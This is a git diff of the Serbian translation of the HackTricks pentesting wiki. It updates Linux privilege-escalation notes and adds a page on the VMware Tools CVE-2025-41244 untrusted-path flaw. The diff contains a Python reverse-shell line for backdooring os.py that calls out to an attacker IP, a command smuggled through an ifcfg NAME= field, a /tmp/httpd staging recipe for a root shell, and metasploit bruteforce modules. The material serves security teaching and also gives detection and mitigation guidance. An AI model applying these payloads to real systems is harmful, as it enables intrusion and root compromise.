[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Da biste čitali logove, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti veoma korisna. +Za čitanje logova, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti od velike pomoći. ### Shell files ```bash @@ -1373,43 +1403,43 @@ Da biste čitali logove, grupa [**adm**](interesting-groups-linux-pe/index.html# ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generičko pretraživanje Creds/Regex +### Generic Creds Search/Regex -Takođe treba da proveriš fajlove koji sadrže reč "**password**" u svom **imenu** ili u **sadržaju**, i da proveriš IP-ove i email adrese u logovima, ili hash-ove pomoću regexps.\ -Neću ovde nabrajati kako se sve to radi, ali ako te zanima možeš pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. +Takođe bi trebalo da proverite fajlove koji sadrže reč "**password**" u svom **imenu** ili u **sadržaju**, i takođe proverite IP adrese i emails unutar logova, ili hash-ove pomoću regexps.\ +Neću ovde navoditi kako se sve ovo radi, ali ako vas zanima možete pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. -## Datoteke kojima se može pisati +## Datoteke u koje se može pisati ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). +Ako znate **odakle** će se pokretati python skripta i **možete pisati u** tom folderu ili možete **izmeniti python biblioteke**, možete izmeniti os biblioteku i ubaciti backdoor (ako možete pisati tamo gde će se python skripta izvršavati, kopirajte i nalepite biblioteku os.py). -Da bi **backdoor the library** samo dodaj na kraj os.py biblioteke sledeću liniju (promeni IP i PORT): +Da biste **ubacili backdoor u biblioteku** samo dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate eksploatacija +### Eksploatacija Logrotate -Ranljivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, često pokretan kao **root**, može manipulisati da izvrši proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova. +Ranljivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, koji često radi kao **root**, može manipulisati da izvršava proizvoljne fajlove, naročito u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kojem direktorijumu gde se primenjuje rotacija logova. > [!TIP] -> Ova ranjivost utiče na `logrotate` verziju `3.18.0` i starije +> Ova ranljivost utiče na `logrotate` verziju `3.18.0` i starije -Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Detaljnije informacije o ranjivosti možete naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Možete iskoristiti ovu ranjivost pomoću [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranjivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** tako da kad god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i razmotrite da li možete eskalirati privilegije zamenom logova symlinkovima. +Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete eskalirati privilegije zamenom logova symlink-ovima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referenca ranjivosti:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ako, iz bilo kog razloga, korisnik može da **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **or** može da **adjust** postojeću, onda vam je **system pwned**. +Ako, iz bilo kog razloga, korisnik može da **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može da **adjust** postojeću, onda je vaš **system is pwned**. -Network skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su ~sourced~ na Linuxu od strane Network Manager-a (dispatcher.d). +Network skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linux-u od strane Network Manager (dispatcher.d). -U mom slučaju, atribut `NAME=` u tim network skriptama nije ispravno obrađen. Ako u imenu postoji razmak, **sistem pokušava da izvrši deo koji sledi nakon razmaka**. To znači da se **sve nakon prvog razmaka izvršava kao root**. +U mom slučaju, `NAME=` atribut u ovim network skriptama nije pravilno obrađen. Ako u imenu imate **whitespace/prazan prostor, sistem pokuša da izvrši deo posle praznog prostora**. To znači da **sve posle prvog praznog prostora biva izvršeno kao root**. Na primer: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1417,17 +1447,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Напomena: пpазан размак између Network и /bin/id_) +(_Obratite pažnju na razmak između Network i /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd i rc.d** -Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasičan Linux систем за управљање сервисима**. Uključuje skripte za `start`, `stop`, `restart`, и понекад `reload` сервиса. Ove се могу извршити директно или преко симболичких линкова који се налазе у `/etc/rc?.d/`. Алтернатвна путања на Redhat системима је `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. One se mogu izvršavati direktno ili preko simboličkih linkova u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. -Са друге стране, `/etc/init` је повезан са **Upstart**, новијим **sistemom за управљање сервисима** који је увео Ubuntu и који користи конфигурационе фајлове за задатке управљања сервисима. Упркос транзицији на Upstart, SysVinit скрипте се и даље користе уз Upstart конфигурације због слоја за компатибилност у Upstart-у. +S druge strane, `/etc/init` je povezan sa **Upstart**, novijim sistemom za **upravljanje servisima** koji je uvela Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart. -**systemd** се појављује као модеран init и менаџер сервиса, нудећи напредне функције као што су покретање daemon-а on-demand, управљање automount-овима и снимци стања система. Фајлове организује у `/usr/lib/systemd/` за пакете дистрибуције и `/etc/systemd/system/` за измене администратора, поједностављујући процес управљања системом. +**systemd** predstavlja moderan init i service manager, nudeći napredne funkcije kao što su pokretanje daemona na zahtev, upravljanje automount-om i snapshot-ovi stanja sistema. Organizuje fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. -## Остали трикови +## Other Tricks ### NFS Privilege escalation @@ -1452,38 +1482,52 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks често hook-ују syscall да би изложили привилеговану kernel функционалност userspace manager-у. Слаба аутентикација manager-а (нпр. провере потписа засноване на FD-order или лоше шеме лозинки) може омогућити локалној апликацији да се представи као manager и ескалира до root на уређајима који су већ root-овани. Сазнајте више и детаље експлоатације овде: +Android rooting frameworks često hook-uju syscall da izlože privilegovanu kernel funkcionalnost userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loši password schemesi) može omogućiti lokalnoj aplikaciji da se prikaže kao manager i eskalira do root na uređajima koji su već root-ovani. Saznajte više i detalje eksploatacije ovde: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel sigurnosne zaštite +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Regex-driven service discovery u VMware Tools/Aria Operations može izvući putanju binarnog fajla iz command line procesa i izvršiti je sa -v u privilegovanom kontekstu. Permisivni paterni (npr. korišćenje \S) mogu poklopiti attacker-staged listener-e u zapisivim lokacijama (npr. /tmp/httpd), što dovodi do izvršenja kao root (CWE-426 Untrusted Search Path). + +Više informacija i generalizovani obrazac primenljiv na druge discovery/monitoring stack-ove pogledajte ovde: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Još pomoći +## Više pomoći [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Najbolji alat za pronalaženje Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Najbolji alat za pronalaženje Linux local privilege escalation vektora:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns in Linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Prikupljanje više skripti**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) + +## References + +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) -## Reference - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1506,4 +1550,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..5184770fe --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Ova tehnika zloupotrebljava pipeline-ove service discovery zasnovane na regex-u koji parsiraju command line pokrenutih procesa kako bi utvrdili verzije servisa i zatim izvršili kandidat binarni fajl sa opcijom "version". Kada previše permisivni regularni izrazi prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244. + +- Impact: Lokalno eskaliranje privilegija do root-a (ili do privilegovanog discovery naloga) +- Root cause: Untrusted Search Path (CWE-426) + previše permisivno regex podudaranje command line-ova procesa +- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## How VMware service discovery works (high level) + +- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a putem VMware Tools koristeći konfigurisane privilegovane kredencijale. +- Credential-less (modern): Discovery logika se izvršava unutar VMware Tools, već privilegovana u guest-u. + +Oba moda na kraju pokreću shell logiku koja skenira procese sa slušačkim socket-ima, izvlači odgovarajući command path pomoću regex-a, i izvršava prvi argv token sa zastavicom za verziju. + +## Root cause and vulnerable pattern (open-vm-tools) + +U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarne fajlove koristeći široke regularne izraze i izvršava prvi token bez bilo kakve validacije poverene putanje: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Poziva se sa permisivnim obrascima koji sadrže \S (ne-razmak) koji će rado poklapati nesistemske putanje u lokacijama u koje korisnik može pisati: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- Ekstrakcija koristi grep -Eo i uzima prvi token: ${COMMAND%%[[:space:]]*} +- Nema whitelist/allowlist pouzdanih sistemskih putanja; svaki otkriven listener sa podudarajućim imenom se izvršava sa -v/--version + +Ovo stvara untrusted search path execution primitive: proizvoljni binarni fajlovi smešteni u direktorijumima sa dozvolom za pisanje za sve (npr. /tmp/httpd) biće izvršeni od strane privilegovane komponente. + +## Eksploatacija (i bez kredencijala i sa kredencijalima) + +Preduslovi +- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guestu. +- discovery job je omogućen i izvršava se periodično (istorijski ~5 minuta). + +Koraci +1) Postavite binarni fajl na putanju koja odgovara jednom od permisivnih regex-ova, npr. /tmp/httpd ili ./nginx +2) Pokrenite ga kao korisnik sa niskim privilegijama i obezbedite da otvori bilo koji listening socket +3) Sačekajte ciklus discovery; privilegovani collector će automatski izvršiti: /tmp/httpd -v (ili slično), pokrećući vaš program kao root + +Minimalni demo (koristeći NVISO-ov pristup) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Tipičan lanac procesa +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefakti (credential-based) +Pronađene SDMP wrapper skripte pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamernog puta: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Generalizacija tehnike: zloupotreba otkrivanja vođena regex-om (prenosivi obrazac) + +Mnogi agenti i nadzorni paketi implementiraju otkrivanje verzija/servisa tako što: +- Enumerišu procese sa slušačkim socket-ima +- Pretražuju argv/komandne linije pomoću permisivnih regexes (npr., obrasci koji sadrže \S) +- Izvršavaju poklapanu putanju sa benignim flagom kao što su -v, --version, -V, -h + +Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobijate CWE-426 Untrusted Search Path execution. + +Recept za zloporabu +- Imenovati svoj binarni fajl kao uobičajene daemone koje će regex verovatno poklopiti: httpd, nginx, mysqld, dataserver +- Postaviti ga u direktorijum koji je upisiv: /tmp/httpd, ./nginx +- Osigurati da se poklapa sa regex-om i otvori bilo koji port da bi bio enumerisan +- Sačekati zakazani collector; dobićete automatsko privilegovano pozivanje -v + +Napomena o maskiranju: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) za povećanje verovatnoće poklapanja i prikrivenost. + +Trik za višekratno korišćenje: privilegovani I/O relej +- Izgradite helper tako da pri privilegovanom pozivu (-v/--version) poveže se na poznati rendezvous (npr., Linux abstract UNIX socket kao @cve) i premošćuje stdio na /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo poziva sa flagom. + +## Otkrivanje i DFIR smernice + +Upiti za pretragu +- Neobična deca vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld +- Bilo koje izvršenje apsolutnih putanja koje nisu sistemske od strane skripti za otkrivanje (tražite razmake u ${COMMAND%%...} ekspanzijama) +- ps -ef --forest da vizualizujete stabla porekla: vmtoolsd -> get-versions.sh -> + +Na Aria SDMP (bazirano na kredencijalima) +- Inspektovati /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje napadačkih putanja + +Politika/telemetrija +- Alertujte kada privilegovani collectors izvršavaju iz prefiksa koji nisu sistemski: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring na get-versions.sh i VMware Tools plugins + +## Mitigacije + +- Patch: Primeni Broadcom/VMware update-ove za CVE-2025-41244 (Tools and Aria Operations SDMP) +- Onemogući ili ograniči otkrivanje bez kredencijala gde je moguće +- Validiraj poverene putanje: ograniči izvršenje na dozvoljene direktorijume (/usr/sbin, /usr/bin, /sbin, /bin) i samo tačno poznate binarne fajlove +- Izbegavaj permisivne regexes sa \S; preferiraj uvezane (anchored), eksplicitne apsolutne putanje i tačna imena komandi +- Smanji privilegije za discovery helpere gde je moguće; sandbox-uj (seccomp/AppArmor) da bi se umanjio uticaj +- Monitoriši i alarmiraj na vmtoolsd/get-versions.sh koji izvršavaju putanje van sistemskih lokacija + +## Napomene za branioce i implementatore + +Bezbedniji obrazac podudaranja i izvršavanja +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Reference + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index a01af7553..69d2030e6 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Enumeracija +## Enumeracija ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Bruteforce +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Ako pronađete važeće akreditive, možete koristiti više metasploit skener modula za dobijanje informacija. +Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules za prikupljanje informacija. + +### Vidi takođe + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}